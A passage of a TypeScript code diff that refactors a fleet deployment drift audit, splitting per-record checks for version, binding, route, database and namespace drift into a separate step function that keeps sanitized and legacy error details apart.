+      !input.expectedBuckets.has(bucket.bucketName) &&
+      !input.knownBucketNames.has(bucket.bucketName)
+    ) {
       findings.push({
         tenantTag: 'unknown',
         environment: 'unknown',
@@ -740,7 +1145,22 @@ export async function auditFleetDrift(options: {
       });
     }
   }
-  for (const { record, resource } of expectedBuckets.values()) {
+  return findings;
+}
+
+export function auditR2MissingIdentityStage(
+  input: Readonly<{
+    expectedBucketEntries: readonly FleetAuditExpectedBucketEntry[];
+    r2Buckets: readonly NonNullable<
+      FleetResourceInventory['r2Buckets']
+    >[number][];
+  }>,
+): readonly DriftFinding[] {
+  const liveBuckets = new Map(
+    input.r2Buckets.map((bucket) => [bucket.bucketName, bucket]),
+  );
+  const findings: DriftFinding[] = [];
+  for (const { record, resource } of input.expectedBucketEntries) {
     const live = liveBuckets.get(resource.bucketName);
     if (!live) {
       findings.push({
@@ -761,560 +1181,797 @@ export async function auditFleetDrift(options: {
       });
     }
   }
+  return findings;
+}
 
-  for (const record of options.records) {
-    const recordMatches =
-      recordsByScript.get(`${record.backend}:${liveScriptName(record)}`) ?? [];
-    if (recordMatches.length > 1) {
-      findings.push({
+// ---------------------------------------------------------------------------
+// Per-record audit step. Frozen result shape: `findings` carries the
+// sanitized durable detail; `legacyDetails` is index-paired and holds the
+// exact legacy byte composition only where it differs (raw diagnostic bytes),
+// null where identical. The drain emits `legacyDetails[i] ?? detail`; the
+// bounded coordinator persists `detail` alone.
+// ---------------------------------------------------------------------------
+
+export interface FleetAuditRecordStepResult {
+  readonly findings: readonly DriftFinding[];
+  readonly legacyDetails: readonly (string | null)[];
+}
+
+export interface FleetAuditRecordStepInput {
+  readonly record: FleetRecord;
+  readonly recordsByScript: ReadonlyMap<string, readonly FleetRecord[]>;
+  readonly liveByScript: ReadonlyMap<
+    string,
+    readonly FleetInventoryDeployment[]
+  >;
+  readonly liveRoutesByHostname: ReadonlyMap<
+    string,
+    readonly FleetResourceInventory['routes'][number][]
+  >;
+  readonly inventoryDatabaseIds: readonly string[];
+  readonly hostRoutingKvId: string | undefined;
+  /** Cross-record inspection facts; mutated in place across a caller's loop. */
+  readonly databases: Map<string, FleetRecord>;
+  readonly liveNamespaceOwners: Map<string, FleetRecord>;
+  readonly duplicateNamespaceIds: Set<string>;
+  readonly backendFor: (record: FleetRecord) => ProvisioningBackend;
+  readonly specFor: (record: FleetRecord) => DeploymentSpec;
+  readonly maintenanceSecretFor: (record: FleetRecord) => string;
+  readonly store: FleetStateStore;
+  readonly staleAfterMs: number;
+  /** Drives every staleness comparison. */
+  readonly auditNow: number;
+  /** Feeds only the re-arm's `commitInvocationAuthority` clock. */
+  readonly authorityNowProvider: () => number;
+}
+
+export async function auditRecordStep(
+  input: FleetAuditRecordStepInput,
+): Promise<FleetAuditRecordStepResult> {
+  const { record } = input;
+  const findings: DriftFinding[] = [];
+  const legacyDetails: (string | null)[] = [];
+  const push = (finding: DriftFinding, legacyDetail: string | null = null) => {
+    findings.push(finding);
+    legacyDetails.push(legacyDetail);
+  };
+  // A stale or blocked bounded cleanup must not read as incomplete-
+  // provisioning, version, binding, or route drift; an empty per-record
+  // ordinal advances with zero findings and zero provider work.
+  if (hasActiveCleanup(record)) return { findings, legacyDetails };
+  const phase = effectiveLifecyclePhase(record);
+  const recordMatches =
+    input.recordsByScript.get(`${record.backend}:${liveScriptName(record)}`) ??
+    [];
+  if (recordMatches.length > 1) {
+    push({
+      tenantTag: record.tenantTag,
+      environment: record.environment,
+      kind: 'duplicate-deployment',
+      detail: `script '${record.scriptName}' is registered ${recordMatches.length} times`,
+    });
+  }
+  const inventoryMatches =
+    input.liveByScript.get(`${record.backend}:${liveScriptName(record)}`) ?? [];
+  const inventoryDeployment = inventoryMatches[0];
+  const recordUpdatedAt = Date.parse(record.updatedAt);
+  // A retained terminal row ages past `staleAfterMs` and stays there until a
+  // host clears it, so reading it as stalled provisioning misclassifies
+  // intended retained state as incomplete provisioning.
+  if (
+    phase !== 'ready' &&
+    phase !== TERMINAL_LIFECYCLE_PHASE &&
+    (!Number.isFinite(recordUpdatedAt) ||
+      input.auditNow - recordUpdatedAt > input.staleAfterMs)
+  ) {
+    push({
+      tenantTag: record.tenantTag,
+      environment: record.environment,
+      kind: 'incomplete-provisioning',
+      detail: `phase '${phase}' has not advanced`,
+    });
+  }
+  const expectedReleases = expectedReleaseSnapshots(record);
+  for (const release of expectedReleases) {
+    const matches =
+      input.liveByScript.get(
+        `${record.backend}:${release.physicalScriptName}`,
+      ) ?? [];
+    if (matches.length !== 1) continue;
+    const liveRelease = matches[0];
+    if (!liveRelease) continue;
+    if (
+      liveRelease.tenantTag !== record.tenantTag ||
+      liveRelease.environment !== record.environment ||
+      liveRelease.artifactVersion !== release.artifactVersion ||
+      liveRelease.schemaVersion !== release.releaseSchemaVersion ||
+      liveRelease.desiredSpecDigest !== release.specDigest
+    ) {
+      push({
         tenantTag: record.tenantTag,
         environment: record.environment,
-        kind: 'duplicate-deployment',
-        detail: `script '${record.scriptName}' is registered ${recordMatches.length} times`,
+        kind: 'version-drift',
+        detail: `lifecycle release '${release.physicalScriptName}' does not match its persisted identity, artifact, schema, and spec digest`,
       });
     }
-    const inventoryMatches =
-      liveByScript.get(`${record.backend}:${liveScriptName(record)}`) ?? [];
-    const inventoryDeployment = inventoryMatches[0];
-    const recordUpdatedAt = Date.parse(record.updatedAt);
     if (
-      record.phase !== 'ready' &&
-      (!Number.isFinite(recordUpdatedAt) ||
-        now - recordUpdatedAt > options.staleAfterMs)
+      liveRelease.databaseIds.length !== 1 ||
+      liveRelease.databaseIds[0] !== record.databaseId
     ) {
-      findings.push({
+      push({
         tenantTag: record.tenantTag,
         environment: record.environment,
-        kind: 'incomplete-provisioning',
-        detail: `phase '${record.phase}' has not advanced`,
+        kind: 'database-mismatch',
+        detail: `lifecycle release '${release.physicalScriptName}' is not bound exactly to database '${record.databaseId}'`,
       });
     }
-    const expectedReleases = expectedReleaseSnapshots(record);
-    for (const release of expectedReleases) {
-      const matches =
-        liveByScript.get(`${record.backend}:${release.physicalScriptName}`) ??
-        [];
-      if (matches.length !== 1) continue;
-      const liveRelease = matches[0];
-      if (!liveRelease) continue;
-      if (
-        liveRelease.tenantTag !== record.tenantTag ||
-        liveRelease.environment !== record.environment ||
-        liveRelease.artifactVersion !== release.artifactVersion ||
-        liveRelease.schemaVersion !== release.releaseSchemaVersion ||
-        liveRelease.desiredSpecDigest !== release.specDigest
-      ) {
-        findings.push({
-          tenantTag: record.tenantTag,
-          environment: record.environment,
-          kind: 'version-drift',
-          detail: `lifecycle release '${release.physicalScriptName}' does not match its persisted identity, artifact, schema, and spec digest`,
-        });
-      }
-      if (
-        liveRelease.databaseIds.length !== 1 ||
-        liveRelease.databaseIds[0] !== record.databaseId
-      ) {
-        findings.push({
-          tenantTag: record.tenantTag,
-          environment: record.environment,
-          kind: 'database-mismatch',
-          detail: `lifecycle release '${release.physicalScriptName}' is not bound exactly to database '${record.databaseId}'`,
-        });
-      }
-      if (!release.topology) {
-        findings.push({
-          tenantTag: record.tenantTag,
-          environment: record.environment,
-          kind: 'audit-error',
-          detail: `lifecycle release '${release.physicalScriptName}' has no durable binding topology`,
-        });
-      } else if (
+    if (!release.topology) {
+      push({
+        tenantTag: record.tenantTag,
+        environment: record.environment,
+        kind: 'audit-error',
+        detail: `lifecycle release '${release.physicalScriptName}' has no durable binding topology`,
+      });
+    } else if (
+      JSON.stringify(
+        liveRelease.durableObjectBindings.map(fullBindingKey).sort(),
+      ) !==
         JSON.stringify(
-          liveRelease.durableObjectBindings.map(fullBindingKey).sort(),
-        ) !==
-          JSON.stringify(
-            release.topology.durableObjectBindings.map(fullBindingKey).sort(),
-          ) ||
-        JSON.stringify(namedTargetKeys(liveRelease.serviceBindings ?? [])) !==
-          JSON.stringify(namedTargetKeys(release.topology.serviceBindings)) ||
+          release.topology.durableObjectBindings.map(fullBindingKey).sort(),
+        ) ||
+      JSON.stringify(namedTargetKeys(liveRelease.serviceBindings ?? [])) !==
+        JSON.stringify(namedTargetKeys(release.topology.serviceBindings)) ||
+      JSON.stringify(
+        namedTargetKeys(liveRelease.queueProducerBindings ?? []),
+      ) !==
         JSON.stringify(
-          namedTargetKeys(liveRelease.queueProducerBindings ?? []),
-        ) !==
-          JSON.stringify(
-            namedTargetKeys(release.topology.queueProducerBindings),
-          ) ||
-        JSON.stringify([...liveRelease.secretNames].sort()) !==
-          JSON.stringify([...release.topology.secretNames].sort()) ||
-        !liveApplicationTopologyMatches(
-          release.topology.application,
-          liveRelease,
-          DEPLOYMENT_PLATFORM_VARIABLE_NAMES,
-        )
-      ) {
-        findings.push({
-          tenantTag: record.tenantTag,
-          environment: record.environment,
-          kind: 'binding-drift',
-          detail: `lifecycle release '${release.physicalScriptName}' has drifted Durable Object, service, queue, application variable, R2, or secret topology`,
-        });
-      }
-    }
-    if (record.phase !== 'ready') continue;
-    if (!inventoryDeployment) {
-      continue;
-    }
-    if (
-      inventoryDeployment.databaseIds.length !== 1 ||
-      inventoryDeployment.databaseIds[0] !== record.databaseId ||
-      !options.inventory.databaseIds.includes(record.databaseId)
-    ) {
-      findings.push({
-        tenantTag: record.tenantTag,
-        environment: record.environment,
-        kind: 'database-mismatch',
-        detail: `fleet inventory does not contain exactly database '${record.databaseId}' for '${record.scriptName}'`,
-      });
-    }
-    const routeOwnerDeployments = allowedRouteScriptNames(record).flatMap(
-      (scriptName) => liveByScript.get(`${record.backend}:${scriptName}`) ?? [],
-    );
-    if (
-      routeOwnerDeployments.filter(
-        (deployment) =>
-          deployment.routeHostnames.length === 1 &&
-          deployment.routeHostnames[0] === record.routeHostname,
-      ).length !== 1 ||
-      routeOwnerDeployments.some((deployment) =>
-        deployment.routeHostnames.some(
-          (hostname) => hostname !== record.routeHostname,
-        ),
+          namedTargetKeys(release.topology.queueProducerBindings),
+        ) ||
+      JSON.stringify([...liveRelease.secretNames].sort()) !==
+        JSON.stringify([...release.topology.secretNames].sort()) ||
+      !liveApplicationTopologyMatches(
+        release.topology.application,
+        liveRelease,
+        DEPLOYMENT_PLATFORM_VARIABLE_NAMES,
       )
     ) {
-      findings.push({
-        tenantTag: record.tenantTag,
-        environment: record.environment,
-        kind: 'route-drift',
-        detail: `deployment inventory does not contain exactly route '${record.routeHostname}'`,
-      });
-    }
-    const expectedBindingKeys = [...record.durableObjectBindings]
-      .map(bindingKey)
-      .sort();
-    const liveBindingKeys = [...inventoryDeployment.durableObjectBindings]
-      .map(bindingKey)
-      .sort();
-    if (
-      JSON.stringify(expectedBindingKeys) !== JSON.stringify(liveBindingKeys)
-    ) {
-      findings.push({
+      push({
         tenantTag: record.tenantTag,
         environment: record.environment,
         kind: 'binding-drift',
-        detail: `expected ${expectedBindingKeys.join(',') || 'no bindings'}, found ${liveBindingKeys.join(',') || 'no bindings'}`,
-      });
-    }
-    const routeMatches = liveRoutesByHostname.get(record.routeHostname) ?? [];
-    if (routeMatches.length > 1) {
-      findings.push({
-        tenantTag: record.tenantTag,
-        environment: record.environment,
-        kind: 'duplicate-route',
-        detail: `route '${record.routeHostname}' appears ${routeMatches.length} times`,
+        detail: `lifecycle release '${release.physicalScriptName}' has drifted Durable Object, service, queue, application variable, R2, or secret topology`,
       });
     }
-    const route = routeMatches[0];
-    if (
-      !route ||
-      route.backend !== record.backend ||
-      route.tenantTag !== record.tenantTag ||
-      route.environment !== record.environment ||
-      !routeMatchesRecord(route, record)
-    ) {
-      findings.push({
+  }
+  if (phase !== 'ready') return { findings, legacyDetails };
+  if (!inventoryDeployment) {
+    return { findings, legacyDetails };
+  }
+  if (
+    inventoryDeployment.databaseIds.length !== 1 ||
+    inventoryDeployment.databaseIds[0] !== record.databaseId ||
+    !input.inventoryDatabaseIds.includes(record.databaseId)
+  ) {
+    push({
+      tenantTag: record.tenantTag,
+      environment: record.environment,
+      kind: 'database-mismatch',
+      detail: `fleet inventory does not contain exactly database '${record.databaseId}' for '${record.scriptName}'`,
+    });
+  }
+  const routeOwnerDeployments = allowedRouteScriptNames(record).flatMap(
+    (scriptName) =>
+      input.liveByScript.get(`${record.backend}:${scriptName}`) ?? [],
+  );
+  if (
+    routeOwnerDeployments.filter(
+      (deployment) =>
+        deployment.routeHostnames.length === 1 &&
+        deployment.routeHostnames[0] === record.routeHostname,
+    ).length !== 1 ||
+    routeOwnerDeployments.some((deployment) =>
+      deployment.routeHostnames.some(
+        (hostname) => hostname !== record.routeHostname,
+      ),
+    )
+  ) {
+    push({
+      tenantTag: record.tenantTag,
+      environment: record.environment,
+      kind: 'route-drift',
+      detail: `deployment inventory does not contain exactly route '${record.routeHostname}'`,
+    });
+  }
+  const expectedBindingKeys = [...record.durableObjectBindings]
+    .map(bindingKey)
+    .sort();
+  const liveBindingKeys = [...inventoryDeployment.durableObjectBindings]
+    .map(bindingKey)
+    .sort();
+  if (JSON.stringify(expectedBindingKeys) !== JSON.stringify(liveBindingKeys)) {
+    push({
+      tenantTag: record.tenantTag,
+      environment: record.environment,
+      kind: 'binding-drift',
+      detail: `expected ${expectedBindingKeys.join(',') || 'no bindings'}, found ${liveBindingKeys.join(',') || 'no bindings'}`,
+    });
+  }
+  const routeMatches =
+    input.liveRoutesByHostname.get(record.routeHostname) ?? [];
+  if (routeMatches.length > 1) {
+    push({
+      tenantTag: record.tenantTag,
+      environment: record.environment,
+      kind: 'duplicate-route',
+      detail: `route '${record.routeHostname}' appears ${routeMatches.length} times`,
+    });
+  }
+  const route = routeMatches[0];
+  if (
+    !route ||
+    route.backend !== record.backend ||
+    route.tenantTag !== record.tenantTag ||
+    route.environment !== record.environment ||
+    !routeMatchesRecord(route, record)
+  ) {
+    push({
+      tenantTag: record.tenantTag,
+      environment: record.environment,
+      kind: 'route-drift',
+      detail: `route '${record.routeHostname}' is missing or mismatched`,
+    });
+  }
+  let backend: ProvisioningBackend;
+  try {
+    backend = input.backendFor(record);
+  } catch (error) {
+    push(
+      {
         tenantTag: record.tenantTag,
         environment: record.environment,
-        kind: 'route-drift',
-        detail: `route '${record.routeHostname}' is missing or mismatched`,
-      });
-    }
-    let backend: ProvisioningBackend;
-    try {
-      backend = options.backendFor(record);
-    } catch (error) {
-      findings.push({
+        kind: 'audit-error',
+        detail: 'backend resolver failed',
+      },
+      `backend resolver failed: ${String(error)}`,
+    );
+    return { findings, legacyDetails };
+  }
+  let spec: DeploymentSpec;
+  try {
+    spec = input.specFor(record);
+  } catch (error) {
+    push(
+      {
         tenantTag: record.tenantTag,
         environment: record.environment,
         kind: 'audit-error',
-        detail: `backend resolver failed: ${String(error)}`,
-      });
-      continue;
-    }
-    let spec: DeploymentSpec;
-    try {
-      spec = options.specFor(record);
-    } catch (error) {
-      findings.push({
+        detail: 'spec resolver failed',
+      },
+      `spec resolver failed: ${String(error)}`,
+    );
+    return { findings, legacyDetails };
+  }
+  const expectedServiceBindings =
+    spec.authoredBy === 'external'
+      ? []
+      : spec.egressProxyService
+        ? [{ name: 'EGRESS_PROXY', service: spec.egressProxyService }]
+        : [];
+  const expectedQueueBindings =
+    spec.authoredBy === 'external'
+      ? []
+      : spec.queueProducer
+        ? [
+            {
+              name: spec.queueProducer.binding,
+              queueName: spec.queueProducer.queueName,
+            },
+          ]
+        : [];
+  if (
+    JSON.stringify(inventoryDeployment.serviceBindings ?? []) !==
+      JSON.stringify(expectedServiceBindings) ||
+    JSON.stringify(inventoryDeployment.queueProducerBindings ?? []) !==
+      JSON.stringify(expectedQueueBindings)
+  ) {
+    push({
+      tenantTag: record.tenantTag,
+      environment: record.environment,
+      kind: 'binding-drift',
+      detail: `release '${inventoryDeployment.scriptName}' has drifted trusted channel bindings`,
+    });
+  }
+  let maintenanceSecret: string;
+  try {
+    maintenanceSecret = input.maintenanceSecretFor(record);
+  } catch (error) {
+    push(
+      {
         tenantTag: record.tenantTag,
         environment: record.environment,
         kind: 'audit-error',
-        detail: `spec resolver failed: ${String(error)}`,
-      });
-      continue;
-    }
-    if (inventoryDeployment) {
-      const expectedServiceBindings =
-        spec.authoredBy === 'external'
-          ? []
-          : spec.egressProxyService
-            ? [{ name: 'EGRESS_PROXY', service: spec.egressProxyService }]
-            : [];
-      const expectedQueueBindings =
-        spec.authoredBy === 'external'
-          ? []
-          : spec.queueProducer
-            ? [
-                {
-                  name: spec.queueProducer.binding,
-                  queueName: spec.queueProducer.queueName,
-                },
-              ]
-            : [];
+        detail: 'maintenance secret resolver failed',
+      },
+      `maintenance secret resolver failed: ${String(error)}`,
+    );
+    return { findings, legacyDetails };
+  }
+  if (record.platformResources) {
+    const groupId = externalPlatformResourceGroupId(spec);
+    const platformExpectations = [
+      {
+        role: 'platform-state' as const,
+        snapshot: record.platformResources.stateWorker,
+        backend:
+          record.platformResources.stateWorker.plane === 'dispatch'
+            ? ('workers-for-platforms' as const)
+            : ('plain-worker' as const),
+      },
+      ...(record.platformResources.egressProxy
+        ? [
+            {
+              role: 'deployment-egress' as const,
+              snapshot: record.platformResources.egressProxy,
+              backend: 'plain-worker' as const,
+            },
+          ]
+        : []),
+    ];
+    for (const expected of platformExpectations) {
+      const matches =
+        input.liveByScript.get(
+          `${expected.backend}:${expected.snapshot.scriptName}`,
+        ) ?? [];
+      const resource = matches[0];
+      if (matches.length !== 1 || !resource) continue;
       if (
-        JSON.stringify(inventoryDeployment.serviceBindings ?? []) !==
-          JSON.stringify(expectedServiceBindings) ||
-        JSON.stringify(inventoryDeployment.queueProducerBindings ?? []) !==
-          JSON.stringify(expectedQueueBindings)
+        resource.resourceRole !== expected.role ||
+        resource.resourceGroupId !== groupId ||
+        resource.tenantTag !== record.tenantTag ||
+        resource.environment !== record.environment ||
+        resource.artifactVersion !== expected.snapshot.artifactVersion
       ) {
-        findings.push({
+        push({
           tenantTag: record.tenantTag,
           environment: record.environment,
-          kind: 'binding-drift',
-          detail: `release '${inventoryDeployment.scriptName}' has drifted trusted channel bindings`,
+          kind: 'version-drift',
+          detail: `trusted Worker '${expected.snapshot.scriptName}' has drifted ownership or artifact metadata`,
         });
       }
-    }
-    let maintenanceSecret: string;
-    try {
-      maintenanceSecret = options.maintenanceSecretFor(record);
-    } catch (error) {
-      findings.push({
-        tenantTag: record.tenantTag,
-        environment: record.environment,
-        kind: 'audit-error',
-        detail: `maintenance secret resolver failed: ${String(error)}`,
-      });
-      continue;
-    }
-    if (record.platformResources) {
-      const groupId = externalPlatformResourceGroupId(spec);
-      const platformExpectations = [
-        {
-          role: 'platform-state' as const,
-          snapshot: record.platformResources.stateWorker,
-          backend:
-            record.platformResources.stateWorker.plane === 'dispatch'
-              ? ('workers-for-platforms' as const)
-              : ('plain-worker' as const),
-        },
-        ...(record.platformResources.egressProxy
-          ? [
-              {
-                role: 'deployment-egress' as const,
-                snapshot: record.platformResources.egressProxy,
-                backend: 'plain-worker' as const,
-              },
-            ]
-          : []),
-      ];
-      for (const expected of platformExpectations) {
-        const matches =
-          liveByScript.get(
-            `${expected.backend}:${expected.snapshot.scriptName}`,
-          ) ?? [];
-        const resource = matches[0];
-        if (matches.length !== 1 || !resource) continue;
-        if (
-          resource.resourceRole !== expected.role ||
-          resource.resourceGroupId !== groupId ||
-          resource.tenantTag !== record.tenantTag ||
-          resource.environment !== record.environment ||
-          resource.artifactVersion !== expected.snapshot.artifactVersion
-        ) {
-          findings.push({
-            tenantTag: record.tenantTag,
-            environment: record.environment,
-            kind: 'version-drift',
-            detail: `trusted Worker '${expected.snapshot.scriptName}' has drifted ownership or artifact metadata`,
-          });
-        }
-        if (expected.role === 'platform-state') {
-          const expectedDoKeys =
-            record.platformResources.stateWorker.durableObjectBindings
-              .map(
-                (binding) =>
-                  `${binding.name}:${binding.className}:${binding.namespaceId}`,
-              )
-              .sort();
-          const liveDoKeys = resource.durableObjectBindings
+      if (expected.role === 'platform-state') {
+        const expectedDoKeys =
+          record.platformResources.stateWorker.durableObjectBindings
             .map(
               (binding) =>
                 `${binding.name}:${binding.className}:${binding.namespaceId}`,
             )
             .sort();
-          if (
-            resource.databaseIds.length !== 1 ||
-            resource.databaseIds[0] !== record.databaseId ||
-            JSON.stringify(expectedDoKeys) !== JSON.stringify(liveDoKeys) ||
-            JSON.stringify(resource.serviceBindings ?? []) !==
-              JSON.stringify(
-                record.platformResources.sharedOutboundWorkerName
+        const liveDoKeys = resource.durableObjectBindings
+          .map(
+            (binding) =>
+              `${binding.name}:${binding.className}:${binding.namespaceId}`,
+          )
+          .sort();
+        if (
+          resource.databaseIds.length !== 1 ||
+          resource.databaseIds[0] !== record.databaseId ||
+          JSON.stringify(expectedDoKeys) !== JSON.stringify(liveDoKeys) ||
+          JSON.stringify(resource.serviceBindings ?? []) !==
+            JSON.stringify(
+              record.platformResources.sharedOutboundWorkerName
+                ? [
+                    {
+                      name: 'OUTBOUND_PROXY',
+                      service:
+                        record.platformResources.sharedOutboundWorkerName,
+                      entrypoint: 'StateEgress',
+                    },
+                  ]
+                : record.platformResources.egressProxy
                   ? [
                       {
-                        name: 'OUTBOUND_PROXY',
+                        name: 'EGRESS_PROXY',
                         service:
-                          record.platformResources.sharedOutboundWorkerName,
-                        entrypoint: 'StateEgress',
-                      },
-                    ]
-                  : record.platformResources.egressProxy
-                    ? [
-                        {
-                          name: 'EGRESS_PROXY',
-                          service:
-                            record.platformResources.egressProxy.scriptName,
-                        },
-                      ]
-                    : [],
-              ) ||
-            JSON.stringify(resource.queueProducerBindings ?? []) !==
-              JSON.stringify(
-                record.platformResources.auditQueueName
-                  ? [
-                      {
-                        name: 'AUDIT_QUEUE',
-                        queueName: record.platformResources.auditQueueName,
+                          record.platformResources.egressProxy.scriptName,
                       },
                     ]
                   : [],
-              ) ||
-            JSON.stringify(resource.secretNames) !==
-              JSON.stringify(
-                [
-                  'DEPLOYMENT_IDENTITY_SECRET',
-                  'MAINTENANCE_ADMIN_SECRET',
-                  ...(record.platformResources.sharedOutboundWorkerName
-                    ? ['OUTBOUND_PROXY_CREDENTIAL']
-                    : []),
-                ].sort(),
-              ) ||
-            resource.plainTextBindings?.FLEET_DEPLOYMENT_SCRIPT !==
-              spec.scriptName ||
-            resource.plainTextBindings?.FLEET_MAINTENANCE_CAPABILITIES !==
-              'required' ||
-            resource.plainTextBindings
-              ?.FLEET_MAINTENANCE_CAPABILITY_PUBLIC_KEY !==
-              record.platformResources.maintenanceCapabilityPublicKey ||
-            (resource.plainTextBindings?.FLEET_AUDIT_PROXY_INGRESS ??
-              undefined) !==
-              (record.platformResources.auditQueueName ? 'required' : undefined)
-          ) {
-            findings.push({
-              tenantTag: record.tenantTag,
-              environment: record.environment,
-              kind: 'binding-drift',
-              detail: `trusted state Worker '${expected.snapshot.scriptName}' has drifted database, Durable Object, or egress bindings`,
-            });
-          }
-        } else if (
-          resource.databaseIds.length !== 0 ||
-          resource.durableObjectBindings.length !== 0 ||
-          (resource.serviceBindings?.length ?? 0) !== 0 ||
-          resource.secretNames.length !== 0 ||
-          resource.plainTextBindings?.policyId !==
-            (
-              record.platformResources.outboundPolicy ??
-              record.platformResources.egressProxy
-            )?.policyId ||
-          resource.plainTextBindings?.routeHostname !==
-            record.routeHostname.toLowerCase() ||
-          resource.plainTextBindings?.scriptName !==
-            record.platformResources.stateWorker.scriptName ||
-          !options.inventory.hostRoutingKvId ||
-          resource.plainTextBindings?.hostRoutingKvId !==
-            options.inventory.hostRoutingKvId ||
-          JSON.stringify(resource.kvNamespaceBindings ?? []) !==
-            JSON.stringify([
-              {
-                name: 'HOSTS',
-                namespaceId: options.inventory.hostRoutingKvId,
-              },
-            ])
+            ) ||
+          JSON.stringify(resource.queueProducerBindings ?? []) !==
+            JSON.stringify(
+              record.platformResources.auditQueueName
+                ? [
+                    {
+                      name: 'AUDIT_QUEUE',
+                      queueName: record.platformResources.auditQueueName,
+                    },
+                  ]
+                : [],
+            ) ||
+          JSON.stringify(resource.secretNames) !==
+            JSON.stringify(
+              [
+                'DEPLOYMENT_IDENTITY_SECRET',
+                'MAINTENANCE_ADMIN_SECRET',
+                ...(record.platformResources.sharedOutboundWorkerName
+                  ? ['OUTBOUND_PROXY_CREDENTIAL']
+                  : []),
+              ].sort(),
+            ) ||
+          resource.plainTextBindings?.FLEET_DEPLOYMENT_SCRIPT !==
+            spec.scriptName ||
+          resource.plainTextBindings?.FLEET_MAINTENANCE_CAPABILITIES !==
+            'required' ||
+          resource.plainTextBindings
+            ?.FLEET_MAINTENANCE_CAPABILITY_PUBLIC_KEY !==
+            record.platformResources.maintenanceCapabilityPublicKey ||
+          (resource.plainTextBindings?.FLEET_AUDIT_PROXY_INGRESS ??
+            undefined) !==
+            (record.platformResources.auditQueueName ? 'required' : undefined)
         ) {
-          findings.push({
+          push({
             tenantTag: record.tenantTag,
             environment: record.environment,
             kind: 'binding-drift',
-            detail: `trusted egress Worker '${expected.snapshot.scriptName}' has drifted policy or attribution bindings`,
+            detail: `trusted state Worker '${expected.snapshot.scriptName}' has drifted database, Durable Object, or egress bindings`,
           });
         }
-      }
-    }
-    let live: Awaited<ReturnType<ProvisioningBackend['inspect']>>;
-    try {
-      live = await backend.inspect(
-        spec,
-        maintenanceSecret,
-        activeArtifactVersion(record),
-      );
-    } catch (error) {
-      findings.push({
-        tenantTag: record.tenantTag,
-        environment: record.environment,
-        kind: 'audit-error',
-        detail: `inspection failed: ${String(error)}`,
-      });
-      continue;
-    }
-    if (!live) {
-      findings.push({
-        tenantTag: record.tenantTag,
-        environment: record.environment,
-        kind: 'missing-deployment',
-        detail: `script '${record.scriptName}' is absent`,
-      });
-      continue;
-    }
-    if (live.databaseId !== record.databaseId) {
-      findings.push({
-        tenantTag: record.tenantTag,
-        environment: record.environment,
-        kind: 'database-mismatch',
-        detail: `expected ${record.databaseId}, found ${live.databaseId}`,
-      });
-    }
-    const databaseOwner = databases.get(live.databaseId);
-    if (databaseOwner) {
-      findings.push({
-        tenantTag: record.tenantTag,
-        environment: record.environment,
-        kind: 'duplicate-database',
-        detail: `database also bound to ${databaseOwner.tenantTag}:${databaseOwner.environment}`,
-      });
-    } else {
-      databases.set(live.databaseId, record);
-    }
-    for (const binding of live.durableObjectBindings) {
-      const namespaceOwner = liveNamespaceOwners.get(binding.namespaceId);
-      if (namespaceOwner && !duplicateNamespaceIds.has(binding.namespaceId)) {
-        duplicateNamespaceIds.add(binding.namespaceId);
-        findings.push({
+      } else if (
+        resource.databaseIds.length !== 0 ||
+        resource.durableObjectBindings.length !== 0 ||
+        (resource.serviceBindings?.length ?? 0) !== 0 ||
+        resource.secretNames.length !== 0 ||
+        resource.plainTextBindings?.policyId !==
+          (
+            record.platformResources.outboundPolicy ??
+            record.platformResources.egressProxy
+          )?.policyId ||
+        resource.plainTextBindings?.routeHostname !==
+          record.routeHostname.toLowerCase() ||
+        resource.plainTextBindings?.scriptName !==
+          record.platformResources.stateWorker.scriptName ||
+        !input.hostRoutingKvId ||
+        resource.plainTextBindings?.hostRoutingKvId !== input.hostRoutingKvId ||
+        JSON.stringify(resource.kvNamespaceBindings ?? []) !==
+          JSON.stringify([
+            {
+              name: 'HOSTS',
+              namespaceId: input.hostRoutingKvId,
+            },
+          ])
+      ) {
+        push({
           tenantTag: record.tenantTag,
           environment: record.environment,
-          kind: 'duplicate-namespace',
-          detail: `namespace '${binding.namespaceId}' also bound to ${namespaceOwner.tenantTag}:${namespaceOwner.environment}`,
+          kind: 'binding-drift',
+          detail: `trusted egress Worker '${expected.snapshot.scriptName}' has drifted policy or attribution bindings`,
         });
-      } else if (!namespaceOwner) {
-        liveNamespaceOwners.set(binding.namespaceId, record);
       }
     }
+  }
+  let live: Awaited<ReturnType<ProvisioningBackend['inspect']>>;
+  try {
+    live = await backend.inspect(
+      spec,
+      maintenanceSecret,
+      activeArtifactVersion(record),
+    );
+  } catch (error) {
+    push(
+      {
+        tenantTag: record.tenantTag,
+        environment: record.environment,
+        kind: 'audit-error',
+        detail: 'inspection failed',
+      },
+      `inspection failed: ${String(error)}`,
+    );
+    return { findings, legacyDetails };
+  }
+  if (!live) {
+    push({
+      tenantTag: record.tenantTag,
+      environment: record.environment,
+      kind: 'missing-deployment',
+      detail: `script '${record.scriptName}' is absent`,
+    });
+    return { findings, legacyDetails };
+  }
+  if (live.databaseId !== record.databaseId) {
+    push({
+      tenantTag: record.tenantTag,
+      environment: record.environment,
+      kind: 'database-mismatch',
+      detail: `expected ${record.databaseId}, found ${live.databaseId}`,
+    });
+  }
+  const databaseOwner = input.databases.get(live.databaseId);
+  if (databaseOwner) {
+    push({
+      tenantTag: record.tenantTag,
+      environment: record.environment,
+      kind: 'duplicate-database',
+      detail: `database also bound to ${databaseOwner.tenantTag}:${databaseOwner.environment}`,
+    });
+  } else {
+    input.databases.set(live.databaseId, record);
+  }
+  for (const binding of live.durableObjectBindings) {
+    const namespaceOwner = input.liveNamespaceOwners.get(binding.namespaceId);
     if (
-      live.artifactVersion !== record.artifactVersion ||
-      live.schemaVersion !==
-        (record.activeRelease?.releaseSchemaVersion ?? record.schemaVersion)
+      namespaceOwner &&
+      !input.duplicateNamespaceIds.has(binding.namespaceId)
     ) {
-      findings.push({
+      input.duplicateNamespaceIds.add(binding.namespaceId);
+      push({
         tenantTag: record.tenantTag,
         environment: record.environment,
-        kind: 'version-drift',
-        detail: `expected artifact/schema ${record.artifactVersion}/${record.activeRelease?.releaseSchemaVersion ?? record.schemaVersion}, found ${live.artifactVersion}/${live.schemaVersion}`,
+        kind: 'duplicate-namespace',
+        detail: `namespace '${binding.namespaceId}' also bound to ${namespaceOwner.tenantTag}:${namespaceOwner.environment}`,
       });
+    } else if (!namespaceOwner) {
+      input.liveNamespaceOwners.set(binding.namespaceId, record);
     }
-    const deployedAt = Date.parse(record.updatedAt);
-    const dutyFailures = configuredDuties(live.maintenance)
-      .map((duty) =>
